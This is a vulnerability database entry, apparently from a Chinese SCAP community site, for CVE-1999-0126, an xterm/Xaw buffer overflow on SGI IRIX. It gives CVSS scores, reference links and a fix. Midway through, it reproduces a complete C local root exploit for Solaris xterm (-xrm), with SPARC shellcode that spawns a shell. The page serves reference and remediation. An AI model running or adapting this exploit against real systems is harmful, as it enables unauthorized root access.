CVE-1999-0126
CVSS7.2
发布时间 :1998-05-03 00:00:00
修订时间 :2008-09-09 08:33:48
NMCOE    

[原文]SGI IRIX buffer overflow in xterm and Xaw allows root access.


[CNNVD]xterm,Xaw SGI IRIX缓冲区溢出漏洞(CNNVD-199805-003)

        xterm和Xaw上的SGI IRIX的缓冲区溢出漏洞允许访问根目录。

- CVSS (基础分值)

CVSS分值: 7.2 [严重(HIGH)]
机密性影响: COMPLETE [完全的信息泄露导致所有系统文件暴露]
完整性影响: COMPLETE [系统完整性可被完全破坏]
可用性影响: COMPLETE [可能导致系统完全宕机]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: LOCAL [漏洞利用需要具有物理访问权限或本地帐户]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)

产品及版本信息(CPE)暂不可用

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-1999-0126
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-1999-0126
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-199805-003
(官方数据源) CNNVD

- 其它链接及资源

http://www.ciac.org/ciac/bulletins/j-010.shtml
(UNKNOWN)  CIAC  J-010

- 漏洞信息

xterm,Xaw SGI IRIX缓冲区溢出漏洞
高危 缓冲区溢出
1998-05-03 00:00:00 2005-05-02 00:00:00
本地  
        xterm和Xaw上的SGI IRIX的缓冲区溢出漏洞允许访问根目录。

- 公告与补丁

        

- 漏洞信息 (338)

Solaris 5.5.1 X11R6.3 xterm (-xrm) Local Root Exploit (EDBID:338)
solaris local
1997-05-28 Verified
0 David Hedley
N/A [点击下载]
/*
 * X11R6.3 xterm exploit for solaris 5.5.1 by DCRH 28/5/97
 *
 */

#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>

#define EXTRA2 1300
#define BUF_LENGTH 400
#define EXTRA 500
   /* Need an addr such that contents of addr+0xe98 = 0 */
#define SAFE_ADDR ((unsigned)0xefff2008)
#define STACK_OFFSET 0x4800
#define SPARC_NOP 0xa61cc013

u_long sparc_shellcode[] =
{
    0x2d0bd89a, /* sethi  %hi(0x2f626800), %l6  */
    0xac15a16e, /* or  %l6, 0x16e, %l6          */
    0x2f0bdadc, /* sethi  %hi(0x2f6b7000), %l7  */
    0xae15e368, /* or  %l7, 0x368, %l7          */
    0x900b800e, /* and  %sp, %sp, %o0           */
    0x9203a00c, /* add  %sp, 0xc, %o1           */
    0x941ac00b, /* xor  %o3, %o3, %o2           */
    0x9c03a014, /* add  %sp, 0x14, %sp          */
    0xec3bbfec, /* std  %l6, [ %sp + -20 ]      */
    0xc023bff4, /* clr  [ %sp + -12 ]           */
    0xdc23bff8, /* st  %sp, [ %sp + -8 ]        */
    0xc023bffc, /* clr  [ %sp + -4 ]            */
    0x8210203b, /* mov  0x3b, %g1               */
    0x91d02008, /* ta  8                        */
    0xffffffff, /* illegal                      */
};

u_long get_sp(void)
{
    asm("mov %sp,%i0 \n");
}

char buf[BUF_LENGTH + EXTRA + EXTRA2 + 8];
char longvar[0x4000] = "BLAH=";

void main(int argc, char *argv[])
{
    char *env[2];
    unsigned long targ_addr;
    u_long *long_p;
    int i, code_length = sizeof(sparc_shellcode),dso=0;

    if(argc > 1) dso=atoi(argv[1]);

    long_p =(u_long *) buf;

    for (i = 0; i < EXTRA2 / sizeof(u_long); i++)
        *long_p++ = (SAFE_ADDR >> 8) | (SAFE_ADDR << 24);

    targ_addr = get_sp() - STACK_OFFSET - dso;
    for (i = 0; i < (BUF_LENGTH - code_length) / sizeof(u_long); i++)
        *long_p++ = SPARC_NOP;

    for (i = 0; i < code_length / sizeof(u_long); i++)
        *long_p++ = sparc_shellcode[i];

    for (i = 0; i < EXTRA / sizeof(u_long); i++)
        *long_p++ = targ_addr;

    printf("Jumping to address 0x%lx B[%d] E[%d] SO[%d]\n",
           targ_addr,BUF_LENGTH,EXTRA,STACK_OFFSET);

    /* This is just to shove the stack down a bit */
    memset(&longvar[5], 'a', sizeof longvar-6);
    longvar[sizeof longvar -1] = '\0';
    env[0] = longvar;
    env[1] = NULL;

    execle("./xterm", "xterm", "-xrm", buf,(char *) 0, env);
    perror("execl failed");
}

// milw0rm.com [1997-05-28]
		

- 漏洞信息

8517
X11 Xaw Library Local Overflow
Local Access Required Input Manipulation
Loss of Integrity

- 漏洞描述

The Xaw library contains a flaw that may allow a local malicious user to overflow a buffer associated to the inputMethod and preeditType resources. The issue is triggered when a specially crafted string containing machine code is used to set a specific resource in any application utilizing the Xaw library. It is possible that the flaw may allow the user to gain root privileges by spawning a setuid-root shell resulting in a loss of integrity.

- 时间线

1998-04-27 Unknow
Unknow Unknow

- 解决方案

Upgrade to X11 to version X11R6.5 or higher, and upgrade XFree86 to version 3.3.2 patch 1 or higer, as it has been reported to fix this vulnerability. It is also possible to correct the flaw by implementing the following workaround. Remove the setuid root bit from any application utilizing the Xaw library: chmod 0755 /path/to/application

- 相关参考

- 漏洞作者

Unknown or Incomplete
 

 

关于SCAP中文社区

SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

版权声明

CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站